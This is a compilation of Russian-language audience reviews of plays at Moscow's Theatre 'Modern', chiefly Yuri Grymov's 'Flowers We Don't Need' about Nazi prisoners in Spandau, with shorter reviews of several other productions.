Начинается все с Нюрнбергского процесса - где слушаются дела правящей элиты нацистской Германии и выносятся приговоры. А дальше 20 лет жизни (это все равно была она) тюремного заключения в Шпандау. На пресс-конференции все актеры отмечали сложность работы над ролью. Ведь персонажа надо принять и в себе, и себя найти в нем. А когда это абсолютное зло? А когда на твоих руках кровь не просто людей, а целых народов? А когда создаешь условия при которых смерть как дар?

Серьезнейшая работа над материалом, с изучением архивов, приглашением экспертов и даже свидетелей - все это настолько ощущается из зала, глядя на сцену. Отдельное браво, что режиссер рискнул, а актеры сумели сделать своих персонажей не карикатурно-плоскими однобокими.. Ведь это были умные, талантливые и мощные люди, вопреки тому, на что был направлен их талант.. И вот эти 7 заключенных, 6 из которых получили срок 20 лет пребывания в тюрьме, а 1 пожизненное. Юрий Анпилогов, Александр Борисов, Вадим Пинский, Леонид Трегуб, Александр Колесников , Алексей Баранов, Александр Жуков - потрясающе одушевили своих героев. У всех свои грехи, своя правда, и способы жить дальше.
Каждое утро просыпались в тюрьме и ждали дня освобождения, в то время как в мире происходили события. Гагарин полетел в Космос, Карибский кризис и мир на грани третьей мировой, расцвет кинематографа и много что еще. И все эти новости заключенные получали в цензурируемом виде, как-то представляли себе жизнь снаружи. И строили планы на будущее. А еще каждый находил свою силу (и слабость) на этом пути. И так круто получилось “очеловечить” этих преступников. Проникаешься симпатией к Альберту Шпееру, который “путешествовал”, бегая по кругу в замкнутом пространстве, отсчитывая при помощи бобов километры представляя, как он добежал до Бразилии и дальше.. как он помогал и поддерживал других. И был вообще образцом благородства и достоинства. Потрясающая работа Вадима Пинского, который так меня провел ровно до последней сцены… финальный разговор его и Рудольфа Гесса в исполнении не менее мощного Юрия Анпилогова. И тут я почувствовал себя обманутой и испытала настоящую злость. Я не буду раскрывать интригу всех находок и сюжетных поворотов.. но скажу только, что это очень-очень цельная работа всех причастных к созданию.

Юрий Вячеславович рассказал, как сложно было понять и принять героев актерам. А еще непросто было представить, что Гитлер был для них не просто лидером. Его любили и мужчины, и женщины. Обожали. В качестве иллюстрации этой любви история про Магду Геббельс, которая говорила, что она вышла замуж за Геббельса, чтобы быть ближе к фюреру…А когда узнала, о смерти Гитлера - убила и себя, и пятерых детей.. вот такой взаправдашний исторический контекст удалось воссоздать на сцене, уважая свободу зрителя самому находить свою мораль.

Спектакль скорее мрачный, но.. Фирменный стиль Юрия Грымова .. Даже этот спектакль получился красивым и музыкальным. Если бы сама не видела, не поверила бы.

"Кто забывает уроки истории, обречён на их повторение". Джордж Сантаяна.

На прошлой неделе в Театре "МОДЕРН" состоялась очень важная и долгожданная премьера спектакля "Цветы нам не нужны" режиссера Юрия Грымова по пьесе Надежды Селивановой.

Входя в зал зрители сразу же становились свидетелями Нюрнбергского процесса, одного из знаковых событий в истории человечества. На скамье подсудимых находились руководители государства, совершившего преступление против мира и человечества. Семь человек, если можно их назвать таковыми, были приговорены к тюремному заключению и каждый отбывал свой срок.

Каждый проживал жизнь в стенах Шпандау по-своему. Были те, кто раскаялся в своих злодеяниях, а кто-то наоборот, остался недоволен приговором. И даже покинув тюремные стены они продолжали быть преданными фашизму.

Спектакль *********** внимание уже с первой минуты. В какие-то моменты накатывал страх и ужас от мысли о том, сколько было ********* и покалечено человеческих судеб. Но такие спектакли обязательно нужно показывать. Об этом необходимо говорить.

Как всегда, произвела огромное впечатление талантливая работа Юрия Анпилогова. Он очень выразительно и правдоподобно проживал своего героя на сцене, одного из самых ужасных нацистских преступников Рудольфа Гессе.
Меня очень впечатлила потрясающая игра Вадима Пинского в роли Альберта Шпеера, утонченного и в то же время непростого архитектора.

Действие спектакля охватывало 1946 - 1966 г., в это время происходило множество значимых исторических событий, которые повлияли на ход истории 20 века, также произошёл большой скачок в развитии науки и культуры.

В постановке было все продумано до мелочей, при помощи грамотно подобранных костюмов и декораций зритель мог почувствовать и настроиться на ход того времени. На протяжении всего спектакля звучали мировые хиты 1946 - 66 -х годов, которые прекрасно дополняли происходящие действия на сцене. И конечно же, важную роль (как всегда) играли современное световое оформление и качественный звук.

Премьера спектакля Юрия Грымова "Цветы нам не нужны...""

Кто-то провожал лето в городских усадьбах и парках, кто-то у водоемов, я же решила провести лето спектаклем «Цветы нам не нужны…» на пресс-показе в театре Модерн. Я не буду пересказывать полностью весь сюжет спектакля, думаю, что каждый наслышан о Нюрнбергском процессе...
Спектакль рассказывает нам о важности событий того времени и Нюрнбергского процесса - не будь его — не случилось бы исторических событий периода с 1946 по 1966 год, которые изменили мир: полёт Юрия Гагарина в космос, расцвет мирового кинематографа, Мэрилин Монро, легендарная речь Чарли Чаплина и получение Оскара, смерть Сталина, убийство Кеннеди. Всё это происходит пока, 7 не повешенных преступников, самое ближайшее окружение Гитлера, сидят в стенах Шпандау, тем временем в мире разгораются новые тяжелые конфликты: ***** во Вьетнаме, Холодная *****, Карибский кризис.
Постановка на 90 % состоит из исторических фактов.
Попав в зрительный зал, словно переносишься на машине времени и оказываешься в зале суда, Нюрнбергский процесс и, именно в этот момент выносится приговор преступникам. Забегу наперед и скажу, что после того как закрылся занавес, меня одолевало острое желание побыть в тишине и вспомнить благодаря кому мы живы.
Когда я шла на спектакль, я знала, что он будет очень сильным, но чтобы настолько постановка заставляла вжиматься в спинку кресла и испытывать настолько сильные эмоции…
Я благодарю режиссера Юрия Грымова и всю актерскую труппу театра, принимавшую участие в создании и выпуске спектакля «Цветы нам не нужны» — глубокий, сильный и будоражащий спектакль. Это наша историческая память.
Он произвел на меня очень сильное впечатление, комок в горле предательски подступал, и очень хотелось плакать. Такие спектакли необходимо включать, в обязательном порядке, в школьную программу. На «Цветы нам не нужны…» надо приходить с детьми-подростками, чтобы они смогли сформировать для себя понимание о тех исторических роковых событиях.
Нюрнберг. Осуждены семеро преступников - самое близкое окружение Гитлера, среди них министры, дипломаты и военные деятели. Это были очень образованные люди, которые свято верили в то, что они действуют во благо, даже на пряжках ремней у них были надписи «с нами Бог».
Мы наблюдаем за их жизнью и досугом - за тем тюремным досугом, который они заслужили. Меня глубоко поразили их мысли и рассуждения, каждый верил в то, что он совершал -было во благо. Альберт Шпеер «путешествовал по всему миру» безусловно, лишь в своих фантазиях и выращивал цветы в тюремном огороде…
«- Овощи хоть съесть можно. А цветы,- какой от них толк?
- Да, цветы нам не нужны…» такой диалог мы слышим со сцены.
А знали ли вы, что Гитлер верил в то, что срезанные цветы чувствуют боль и считал это убийством?!
Поразили меня своей глубиной и символичностью и декорации. Серые кубы, похожие на гранитные, которые служат заключенным кроватями и лавками, символично образуют мемориал жертвам холокоста в Берлине. Очень важную роль играет световое и звуковое оформление спектакля. Музыка, которую мы услышим в спектакле – это все хиты периода с 1946 по 1966 годы. Я не буду раскрывать всех деталей постановки, здесь каждый должен понять для себя, готов ли он к этому спектаклю. Я думаю, что на эту постановку я приду снова, спустя некоторое время, потому что это именно тот спектакль, который призван напомнить о подвиге и Великой Победе советского народа в борьбе с фашизмом. "...Ничего не может быть страшнее фашизма!".

«Цветы нам не нужны», премьера

Сюжет спектакля неожиданный и, как кажется на первый взгляд, совершенно неочевиден из названия. Он охватывает 20 долгих лет и показывает развитие мировых событий через призму восприятия немецких политзаключенных, сидящих в тюрьме Шпандау по итогам Нюрнбергского процесса – кому дали 10, 20 лет, а кому и пожизненно.

В камере подобрался просто «цветник», извиняюсь за каламбур: вся нацистская военно-политическая элита – руководитель Гитлерюгенда Бальдур фон Ширах (Александр Борисов), первый заместитель фюрера Рудольф Гесс (Юрий Анпилогов), генералы и чиновники, и главный герой – министр вооружения и личный архитектор Гитлера, Альберт Шпеер (Вадим Пинский). Знаете, что меня всегда поражало, так это полное отсутствие чувства вины в этих людях. Хотя, конечно, каждый пытается максимально сократить свое наказание разными способами: прикидываясь больным, сумасшедшим, имитируя непонимание происходящего или показательно (и фальшиво) раскаиваясь в своих действиях.

Наверное, это очень страшно: вынужденно провести несколько десятилетий в замкнутом обществе с одними и теми же людьми, которые даже не друзья. По словам одного из героев, за несколько лет они исчерпали все темы для бесед. Поскольку радио и чтение газет были крайне ограничены, приходилось придумывать разные занятия. Особенно в этом преуспел Шпеер: он писал мемуары о Гитлере, вел дневник, ходил по территории, считая шаги и переводя их в километры (спойлер – он все-таки «нашагал» на кругосветное путешествие!). И разводя сад во дворе тюрьмы. С этим и связано название спектакля: цветы ему выращивать запретили как «бесполезные растения», сказав сосредоточиться на зелени и овощах.

За три часа спектакля в нем поднимается бесчисленное множество социально важных тем: супружеской верности и простых человеческих радостей, смерти и адаптации к жизни после тюрьмы. Как могли жены нацистов верить, что кадры из концлагерей это, как мы сейчас говорим, фейки? Как люди, обрекшие на смерть миллионы других детей, испытывали искреннюю любовь к собственным детям? Как они могли шутить и радоваться первому снегу? Какое место ждало их в свободной Германии, когда многие из них вышли на свободу через 10-20 лет? Поддерживали ли они Гитлера и какие были их настоящие мотивы?

Очень важна роль тюремных охранников: русского, британца, француза и американца – представителей ведущих держав-союзников. Они так же проводят с заключенными много лет, и служат им неким «связующим звеном» между внешним миром и тюрьмой, со своими собственными взглядами. Они дают заключенным шоколадки и обсуждают с ними прочитанные книги. Именно от них немцы узнают о Карибском кризисе, «холодной *****», смерти Сталина и возможной амнистии, ***** во Вьетнаме и полете Гагарина в космос.

Удивительно, что в «Цветы нам не нужны» нет маленьких ролей: запоминаются и находят отклик даже эпизодические персонажи типа мальчика-органиста Генри (Богдан Щукин) или колоритной советской полковницы Красотки Маргарэт (Надежда Меньшова).

А самые сильные сцены для меня были разговоры Шпеера с Гитлером: они вызвали сильнейшую ассоциацию с явлениями Черта Ивану в «Братьях Карамазовых». А вот кто победил в этих диалогах и каким человеком на самом деле был «самый добрый» нацист Альбер Шпеер, вы узнаете, посмотрев премьеру 😊

Премьера «Цветы нам не нужны»
===========================


Фашизм – жил, фашизм – жив, фашизм (по крайней мене в ближайшее время) будет жить - этот неутешительный факт и побудил художественного руководителя Театра Модерн Юрия Грымова отложить работу над третьей частью «Иуда» трилогии «Антихрист и Христос» - и обратиться к главному, с его точки зрения, событию 20 века – Нюрнбергскому процессу – суду над ближайшим окружением Адольфа Гитлера, Преступниками (именно с большой буквы) перед всем человечеством.
К сожалению, ни я, ни 99% россиян (за население других стран не ручаюсь) даже не слышали этих имен:
Рудольф Гесс
Альберт Шпеер
Бальдур фон Ширах
Константин фон Нейрат
Карл Дениц
Эрих Редер
Вальтер Функ
Это страшные в своем фанатизме по отношению к Гитлеру представители высшего эшелона Третьего рейха!!!
Осуждены они были на сроки от 10 лет до пожизненного заключения.
Зрителям, пришедшим на наконец-то состоявшуюся премьеру спектакля «Цветы нам не нужны», предстоит увидеть их жизнь в заключении в тюрьме Шпандау.
Спектакль поставлен по пьесе, которую написала актриса Театра Модерн Надежда Селиванова и основана она на хронике Нюрнбергского процесса, записях заключенных тюрьмы Шпандау и других исторических фактах.
Вымысел автора составил не более 10%.
Консультантом спектакля был Алексей Борисович Степанов - охранник тюрьмы Шпандау, воочию наблюдавший за нахождением в ней Рудольфа Гесса.
Юрий Вячеславович, который и так отличается своей скрупулезностью в работе над спектаклями, здесь превзошел сам себя. В этой постановке все отточено до мелочей (а как нелегко шел процесс этой «отточки» мне довелось видеть во время открытой репетиции), я не говорю уже о военной форме, которая за те 20 лет, что показаны в спектакле, многократно менялась, о костюмах жен военнопленных, о подобранных для спектакля музыкальных хитах тех лет, о потрясающем, как всегда, свете - здесь филигранно точен каждый взгляд, жест, поворот головы…
Актеры Театра Модерн блестяще сыграли своих персонажей – а насколько нелегко им было вжиться в образы нацистских преступников, каждый из них поведал на состоявшейся 30 августа пресс-конференции перед пресс-показом спектакля.
Юрий Грымов же, в свою очередь, с нескрываемой гордостью отозвался о команде актеров Театра Модерн. И как это здОрово, когда хзудрук высоко ценит свою труппу, ставшую его единомышленниками!
На передний план в постановке Грымова вышли Рудольф Гесс - первый заместитель фюрера (Юрий Анпилогов) и его личный архитектор Альберт Шпеер (Вадим Пинский).
Юрию Анпилогову я пела дифирамбы уже не раз (им создано большое число потрясающих по силе эмоционального воздействия на зрителя образов), а вот Вадима Пинского мне довелось увидеть на сцене впервые, не считая открытой репетиции (сейчас он принят в труппу Театра). И его исполнение роли Шпеера меня просто потрясло.
Антилогов весь спектакль играл «открытое» зло, а вот персонаж Пинского до последней сцены невольно вызывал к себе симпатию – он все 20 лет (!!!) старался держать себя в форме (по количеству пройденных шагов обогнул чуть ли не весь земной шар), занимался выращиванием овощей и фруктов в тюремном дворе (цветы разводить ему не разрешили – отсюда и взялось название спектакля), писал мемуары и даже выручал при случае неопытных охранников. Очень переживал, что дети вырастут без него, мечтал о том, как с другом откроет свое архитектурное бюро…
Лишь в последней же сцене маска была сорвана и перед нами предстал холодный и расчетливый мерзавец.
На пресс-показе режиссер неоднократно повторял, как важно, чтобы на этот спектакль пришла молодежь. Полностью с ним согласна!!!
Во-первых, события Второй мировой ***** кажутся им далеким, навсегда ушедшим прошлым.
Во-вторых, они плохо себе представляют «зло с человечьим лицом» – а именно его и показывает своей игрой Вадим Пинский.
В-третьих, то, что происходит в настоящий момент, наглядно демонстрирует, насколько глубоко идеология фашизма проникла в наш мир и как сложно с ней бороться. А уничтожить ее надо во чтобы то ни стало и сделать это предстоит именно теперешнему молодому поколению.
Ну, а главный козырь этого спектакля заключен в том, что он завораживает зрителя с первых минут, как только они перешагнут порог зрительного зала, и не отпускает от себя ни на миг до самого финала.
Как и черный ангел смерти не оставляет сцену до последнего поклона…

"О дивный новый мир" ТЕАТР МОДЕРН.
27 августа.
Ложные идеалы, ложные критерии, ложные возможности… нужен ли нам такой мир. Дети рождаются в пробирках, бабушки выглядят, как 20 летние, мир- где нет искусства, нет книг и нет размышлений. Есть только «сомы» от которых становится «всё равно».
Хочу ли я жить в таком мире, а может я уже и живу в этом мире?
Антиутопия Хаксли как никогда актуальна на сегодняшний день.
Интересные декорации- огромное яйцо, символизирующее жизнь…… начало жизни.
Спектакль на размышление- актёры одели маски или же мы зрители сняли маски и задумались …
Цукерберг и наши соцсети… особенно соцсети, которые нас затягивают, отрывая от внешнего мира.
Костюмы, свет, декорации всё по теме и в теме.
Спасибо актёрам и спасибо Юрию Грымову за взгляд на нас со стороны.

Цвeты нaм нe нyжны – нoвый cпeктaкль Юрия Грымова в Театрe "МОДЕРН"

Нет ничего ужаснее фaшизмa. Вoт глaвнaя мыcль, кoтoрaя крacнoй нитью прoxoдит чeрeз вecь cпeктaкль.  

Вceгo 20 лeт прoшлo c oкoнчaния yжacнoй Вoйны. Вoйны, в кoтoрoй миллиoны людeй были нe прocтo yбиты, a плaнoмeрнo, тщaтeльнo, вecьмa пyнктyaльнo и aбcoлютнo ocмыcлeннo иcтрeблeны. Aккyрaтныe cтрoчки в aмбaрныx книгax Бyxeнвaльдa, Ocвeнцимa, Дaxay и Трeблинки. Кaждoe имя, cтрoчкa зa cтрoчкoй, вывeдeнo yвeрeнным пoчeркoм, бeз cyeты и coмнeний. Бeз coжaлeний! Миллиoны дyш cтaли этими cтрoчкaми. Иx плoть cтaлa пeплoм. Этoт пeпeл eщe нe ocтыл, a чeлoвeчecтвo yжe cнoвa c зaдoрoм и ярocтью cпeшит нaйти нoвыe пoвoды и cпocoбы для caмoyничтoжeния.

Зa чeрeдoй этиx нeвeрoятныx для пocлeвoeннoй иcтoрии coбытий нaблюдaют ceмь нaциcтcкиx прecтyпникoв, ocyждeнныx Нюрнбeргcким трибyнaлoм и oтбывaющиx cрoки в тюрьмe Шпaндay и рaccyждaющиx o тoм, чтo мирy, oчeвиднo, нe нyжны рocтки рaзyмa, тaкжe кaк тюрeмнoмy caдy нe нyжны цвeты.

Ceмь yзникoв – ceмь тщaтeльнo coбрaнныx oбрaзoв, кaждый из кoтoрыx нacтoящaя рeжиcceрcкaя и aктeрcкaя пoбeдa, кoтoрыe, пo cлoвaм caмoгo Грымoвa, coздaвaлиcь тaк cкрyпyлeзнo, кaк бyдтo вышивaлиcь биceрoм. Oни cocyщecтвyют, oбщaютcя, взaимoдeйcтвyют внyтри Шпaндay, кaк  бyдтo грeшники, зaпeртыe в aдy. Тeни прoшлoгo, вocпoминaния, cны, oтчaяньe, злocть, нeпринятиe, cмeртнaя cкyкa и нeдoyмeниe oт тoгo, чтo прoиcxoдит зa cтeнaми – вoт тe «крyги aдa», чeрeз кoтoрыe прoxoдят зaключeнныe.

В этoм пoтряcaющe cыгрaннoм «coзвeздии мoнcтрoв» явнo выдeляютcя двe ocoбo крyпныx «звeря»  -  Aльбeрт Шпeeр – aрxитeктoр, гyмaнитaрий и интeллектуал в иcпoлнeнии Вaдимa Пинcкoгo и Рyдoльф Гecc  - тo ли cyмacшeдший, тo ли cлишкoм yмный, дo пocлeднeй минyты прeдaнный идeaлaм нaцизмa и oдeржимый идeeй coздaния нoвoгo Кaбинeтa миниcтрoв, в иcпoлнeнии Юрия Aнпилoгoвa. Пoтряcaющиe рaбoты! Тoчныe дo мyрaшeк и нacтoящиe дo жyти.

Ecть в cпeктaклe и eщe oдин пoтряcaющe cыгрaнный пeрcoнaж. Нo рeжиcceр прeдпoчeл yмoлчaть o eгo cyщecтвoвaнии, нe yпoмянyв дaжe cрeди иcпoлнитeлeй нa caйтe тeaтрa. Нe бyдy лoмaть интригy и я. Cкaжy тoлькo, чтo имeннo oн пoмoгaeт зритeлю пoгрyзитcя вo внyтрeнний мир зaключeнныx и прoникнyтcя aтмocфeрoй oкрyжaющeгo иx aдa.     

Кaк  чacтo бывaeт y Грымoвa, этy aтмocфeрy дoпoлняют acкeтичныe дeкoрaции, a тaкжe виртyoзнaя рaбoтa co cвeтoм и мyзыкa, кoтoрыe в cпeктaкляx Грымoвa вceгдa игрaют вeдyщиe рoли.   

Cпeктaкль ocнoвaн нa иcтoричecкиx дoкyмeнтax, вocпoминaнияx, днeвникax, мaтeриaлax Нюрнбeргcкoгo прoцecca и в цeлoм oчeнь нeпрocтoй. Eгo ocмыcлeниe трeбyeт oт зритeля рaбoты. В зaл лyчшe прийти yжe бyдyчи «в тeмe». Нo, бeзycлoвнo, oн бyдeт oднoй из caмыx интeрecныx прeмьeр мocкoвcкoгo тeaтрaльнoгo ceзoнa.

1 сентября в театре Модерн состоялась премьера спектакля «Цветы нам не нужны».

Действие спектакля начинается с Нюрнбергского процесса и охватывает период с 1946 по 1966 годы. Это время, когда случились важнейшие вехи истории, — полет Гагарина, Карибский кризис, ***** в Корее, убийство Кеннеди и т. д. Но все эти события были бы невозможны без мая 1945-го и Нюрнберга.

«Я считаю Нюрнбергский процесс самым важным событием XX века. Он стал отправной точкой важнейших изменений в мире. Если вы и ваши дети мало об этом знаете – спектакль «Цветы нам не нужны» даст возможность пополнить ваши знания…» – сказал режиссер Юрий Грымов.

Автором пьесы стала актриса театра «Модерн» Надежда Селиванова. «Цветы нам не нужны» - спектакль, состоящий более чем на 90% из исторической правды и лишь 10% художественного вымысла.



На спектакле входя в зал, зрители сразу погружаются в действие: занавес открыт, на сцене расположены скамьи подсудимых и охрана. Обвиняемые нервно ожидают вынесения приговора.

На Нюрнбергском процессе судили верхушку Третьего рейха за преступления против мира и человечности. Военный трибунал каждому воздал по заслугам: кому-то казнь, кому-то 10-20 лет, кому-то пожизненное заключение.

Вот как раз о 7 нацистах, которых осудили на тюремные сроки и пойдет речь в спектакле.

Зрители вместе с героями спектакля переживут все этапы процесса: заседание, приговор, а также многолетнее прибывание в тюрьме Шпандау. Зрители увидят, как складываются отношения между заключенными и как меняется их жизнь. Ведь когда-то они были всемогущими вершителями чужих судеб, а теперь вынуждены проводить годы в условиях, подходящих только для выживания, вдали от всего, что было дорого, не зная, что сейчас происходит в мире.



Невероятный по силе эмоционального воздействия, очень сложный, полный драматизма спектакль. Потрясающая игра всех актёров👏!

Спектакль наполнен звуковыми и световыми спецэффектами. Прекрасное музыкальное оформление - звучали мировые хиты 1946-1966-х годов🎤, исторически точные костюмы актеров, которые одобрил эксперт по военной амуниции.

Этот спектакль обязательно нужно смотреть, чтобы задуматься над происходящим в наши дни и понять "откуда ноги растут".

Спектакль «Цветы нам не нужны» , который я получила возможность увидеть на пресс-показе 31 августа, посвящен дням и годам жизни людей, входивших в элиту Германии 1930-х и начала 1940х гг. , но в период их жизни уже после крушения Третьего рейха, всеобщего осуждения идей и практики фашизма в мире. Это отражено и в названии - да, этим людям цветы как символ успеха и самореализации уже не нужны, сейчас их некому и не с чем поздравлять. Вера в харизматичного вождя и следование его курсу, дарившие раньше широкие возможности и материальное преуспевание, привела их к глубочайшим личным трагедиям.

Запоминается, как режиссером и актерами представлены несколько линий.

Конечно, это попытки каждого из заключенных как то справиться с ситуацией, когда все, во что ты верил и чему служил, оценено и признано миром как бесчеловечное, и ты сам это вынужден для себя признать. Режиссер подчеркнул на пресс-показе, что Нюрнбергский процесс - особый вид суда, когда оценка осуществляется не исходя из норм конкретного государства, а из общих представлений о человечности. Много диалогов с фюрером, раскрывающих природу людей и культурную механику фашизма.

Через спектакль проходит и линия отношения подсудимых/заключенных и тех, кто их судит. Знаки, что все твои действия в обществе потом к тебе так или иначе возвращаются, тоже составляют тонкую ткань спектакля.

Интересна и линия контактов тех, кто охраняет заключенных - граждан СССР, США, Великобритании, Франции в форме - как с заключенными, так и между собой.

И, конечно, отношения заключенных между собой, метаморфозы в их оценках. Например, как адмирал оценил похвалу в его адрес от министра обороны Гитлеру, после которой тот назначил адмирала в последние дни главой государства («так это благодаря Вам я 10 лет томлюсь в заключении,в то время как остальные адмиралы на свободе»).

В общую ткань спектакля хорошо вплетено и музыкальное сопровождение, мелодии тех лет на разных языках и из разных культур. Они позволяют лучше прочувствовать и влияние культуры нашей страны и народа в мире в эпоху 1940-1960 х гг.

Спектакль непростой, сложный, о многом заставляет задуматься, пережить. Он позволяет глубже и с новых сторон понять подвиг советского народа, наших дедов и отцов, победивших фашизм в Великой отечественной *****.

1 сентября Театр "МОДЕРН" представит премьеру спектакля "Цветы нам не нужны". Мне посчастливилось побывать на пресс-показе и пресс-конференции, посвященной этому спектаклю.

Режиссер Юрий Грымов первым взял слово на конференции, он отметил, что в "Цветах" лишь 10 процентов художественного вымысла, остальное - факты! Спектакль поставлен по пьесе Надежды Селивановой, которая обращалась к подлинным историческим документам, протоколам Нюрнбергского процесса. Надежда также присутствовала на конференции и рассказала, как ей было интересно работать над этой пьесой и какое это было большое удовольствие!

Актеры театра, которые играли нацистских преступников, описали как сложно было принять роль фашиста, перевоплотиться в нее. Но им это безусловно удалось! Юрий Вячеславович упомянул, что нацисты - такие же люди, они исполняли свой долг, но их осудили за вину перед человечеством! Из рассказа режиссера театра мы узнали, что окружение Гитлера просто боготворило его. Женщины были от него без ума!
Юрий Степанов был в охране тюрьмы Шпандау, в которой были заключены осужденные по Нюрнбергскому процессу. Грымову удалось с ним пообщаться. Из рассказов Степанова режиссер узнал, что Рудольф Гесс, которого замечательно играет актер театра Юрий Анпилогов , так и не раскаялся в своих преступлениях, хотя был в заключении около 40 лет, и умер там в одиночестве в 93 года.

Юрий Вячеславович Грымов: "Для меня театр - это желтый свет светофора. Какой загорится следующий - красный или зеленый? Не знаю. Я ставлю спектакли про себя. Я -Леонардо, я - Петр Первый." Кстати в театре скоро состоится еще одна премьера: спектакль "Иуда". Думаю это будет очередной шедевр Юрия Грымова!

Так почему же все-таки "Цветы нам не нужны"? Я задумалась об этом перед спектаклем, откуда такое название? Оказывается, что в тюрьме Шпандау нацистским преступникам было разрешено разбить небольшой сад, в котором они выращивали овощи, фрукты. "А цветы нам не нужны" - таково было их решение - решение высокомерных и жестких людей.
Спектакль "Цветы" - это оригинальные сценические и световые решения, прекрасное музыкальное оформление - звучали мировые хиты 1946-1966-х годов, правильно подобранные костюмы актеров, которые одобрил эксперт по военной амуниции!, замечательная игра актеров!

Юрий Вячеславович в заключении пресс-конференции сказал: "Пусть приходит молодежь на спектакль "Цветы нам не нужны", это уникальная возможность пополнить свои знания об одном из самых важных исторических периодов!"

Конец августа у меня был очень насыщен событиями - 24, я была ещё на одном спектакле в театре Модерн.

На постере спектакля "МАСКВИЧИ" изображена игрушка Матрёшека- Неваляшка!
Может потому что для иностранцев мы все русские - Ваньки - Встаньки и Матрёшки - Неваляшки. ))) А может это образ потерянного СССР. Не знаю. Посмотрите спектакль - и сделайте свои выводы.

Для сегодняшнего человека возможно, ну для меня точно, этот образ ассоциируется с СССР и советским человеком.
Который знал что такое правда и принципы, а "в тесноте, да не в обиде" была наверное самое популярная поговорка. И при этом были настоящие чувства, не пластмассовые!

И действительно в спектакле сталкиваются лоб в лоб 2 мира, 2 взгляда на жизнь и ценности, человека советского и человека ново-американского, адаптированного.

История начинается с того что родители Натан (Александр Борисов) и Марго (Валерия Королева) приезжают в Нью-Йорк к своим двум дочерям, которые уже вот как 10 лет живут и ассимилируются в новой стране.

Например старшая дочь, замужем за афроамериканцем Мигелем (Диллон Олойеде) и сменила имя с Аси на Ариэль (Марина Дианова). Да да, это у нас это стиральный порошок. ))

И ведёт блог о счастливых взаимоотношениях в семье, с постоянной голливудской улыбкой, хотя у самой чуть что разваливается семья, дома с приездом родителей начался хаос, а сын Лёва (играет Богдан Щукин) со странностями, и несколько лет уже не выходит из дома.

Младшая дочь Маша (Ольга Богомазова) работает в больнице и как то призналась что вот уже несколько лет не прикасалась к человеку без перчаток. И постоянно хочет спать, но то из-за учебы, то из-за работы не может выспаться и наконец то с приездом родителей ей это удается сделать, правда это больше похоже на летаргический сон и не понятно проснется ли Маша вообще. По ходу спектакля Маше снятся матафорические сны, то Кинг Конг взбирается на башню, то бывший возлюбленный в виде шейха пришел ей напомнить про любовь, но не к нему, а к себе!!!

Интересна также история сына старшей дочери Аси - Левы.
Он типичный американец, который экспериментирует и в одежде (носит юбку), и в хобби - пишет игру с элементами японских сексуальных аниме. (Это может шокировать возможно людей старшего поколения немного в самом начале, не пугайтесь, потом все нормально).
Я так понимаю что в русской ментальности ещё остались такие понятия как скромность, правила поведения в обществе и в одежде. Мы можем сделать замечание если человек ведёт себя не культурно где то. А в США основа - это индивидуальность и личные границы. А ну и толерантность конечно!!! Попробуй что то скажи! Тут же тебя Отменят!!
Кто в теме знает!!

И при всей якобы свободе при этом Лева как будто зажат в своей черепной коробке и боится коммуницировать с миром, думает о мертвых птицах, не выходит из дома.

И только с приездом Деда и Бабушки из Москвы.
Все у всех меняется.
А как, Вы узнаете если придете на спектакль! ))

Также а спектакле
поднимаются темы запретные для западного общества - темы религии, денег, политики и отношений.
Забавная была сцена где три гимна звучат одновременно.
Кубинский, американский и российский.
К самом конце в зал полетели золотые конфетти. И музыка
такая объединяющая, и настроение улучшилось! )))

И вот уже в конце все счастливые и настоящие стоят они всей семьёй, держась за руки. И чувствуется что это не отдельные индивидуальности, а русская семья со всеми своими нюансами, проблемами и характерами!
Одним словом МАСКВИЧИ!
В Нью-Йорке правда. ))

Мои дети очень любят, когда я читаю им сказки. Я и сама люблю читать. А в театре «Модерн» сказки читали мне. И загадки загадывали. И называли нас всех мальчиками и девочками.

Комедия «Сказки для взрослых» проходит в малом зале на первом этаже. Я бы охарактеризовала его «в тесноте, да не в обиде». Откидывающиеся кресла возможно будут упираться в коленки впереди сидящего, поэтому если у вас прекрасные длинные ноги, то лучше брать места сбоку у прохода. Спектакль идет 1,5 часа без антракта. Подготовиться к просмотру можно в волнующем ароматами театральном буфете, через который вы будете проходить.

Итак, «мальчики» и «девочки» от 16 лет расселись в зале и началось наше погружение в философию сказки. В спектакле показано несколько историй: «Пиноккио», «Пряничный домик», «Человек-невидимка», «Три дикие индюшки в ожидании кукурузных початков», «Страсть Мэрлина», «Поездка в санях». Не все сказки были мне известны раньше, но теперь есть повод их почитать.

Режиссер спектакля Сергей Аронин, он же играет несколько ролей. Очень люблю смотреть как Сергей перевоплощается на сцене, его образы всегда яркие и запоминающиеся. В театре Модерн он играет, к сожалению, не так часто как хотелось бы, в основном его можно встретить в театре Aronin-Space.

«Три дикие индюшки…» - это история о мечте. Как здорово научиться играть на саксофоне, даже если у тебя вместо рук крылья, а вместо губ - клюв. Но твоё окружение почему-то против: собирай кукурузные початки и лови мошек, ты же индюшка, а не человек! Куда тебе в саксофонисты? Знакомо, да? А еще актеры очень уморительно изображают индюшек, полное перевоплощение).

На «Пиноккио» хохотал весь зал. В этой сцене показано свидание деревянного мальчика с говорливой «мясной женщиной». Раньше, кстати, весь этот спектакль так и назывался: «Деревянный мальчик и мясная женщина», но такое название вызывало неоднозначную реакцию публики и его было решено переименовать.
Интеллектуал Пиноккио с безупречной дикцией и незаурядным мировоззрением покорил не только свою собеседницу, но и всех нас.

Пикантная история о Человеке-невидимке и служанке точно 16+, не зря спектакль переименовали. И в этой истории вовсе не один невидимка.

Вообще практически все истории спектакля - это поиск себя. Кто я и какой место занимаю в этом мире?

В «Модерне» нет спектаклей на один укус, над каждым размышляешь еще долго, даже если это комедия.

Была на спектакле 26 августа.
Про Nirvana и Курта Кобейна слыхала совсем мало, как то не увлекалась в своё время его творчеством. Спектакль смотрела с интересом. Курт Кобейн, Кортни Лав, Мистер Драг…
Сильный спектакль. Этот мир полон наркотиков и «счастья» был не только американским…
Наркотиками увлекались не только «проблемные» дети. Курт в детстве многое пережил, развод родителей, не было друзей, мама знакомит с «другом». « Друг» внутренний враг, с которым Курт переодически пытался бороться и сново срывался.
- у меня нет друзей.
- Я твой друг, нас познакомила твоя мама…
- Любовь.. Рождение ребёнка, яркий взлёт и ужасное падение. Талантливый и очень ранимый. Интересные декорации, вторая часть спектакля- сцена полностью в пене, это было и красиво и ужасно. Свет, звук, музыка… за музыку отдельное спасибо, оформление сцены мне понравилось. Актёры молодцы Богдан Щукин и Анастасия Сычёва. Отдельная благодарность Юрию Анпилогову, но такого «друга», конечно не иметь. Спасибо Юрию Грымову за спектакль, есть о чём поразмышлять…..

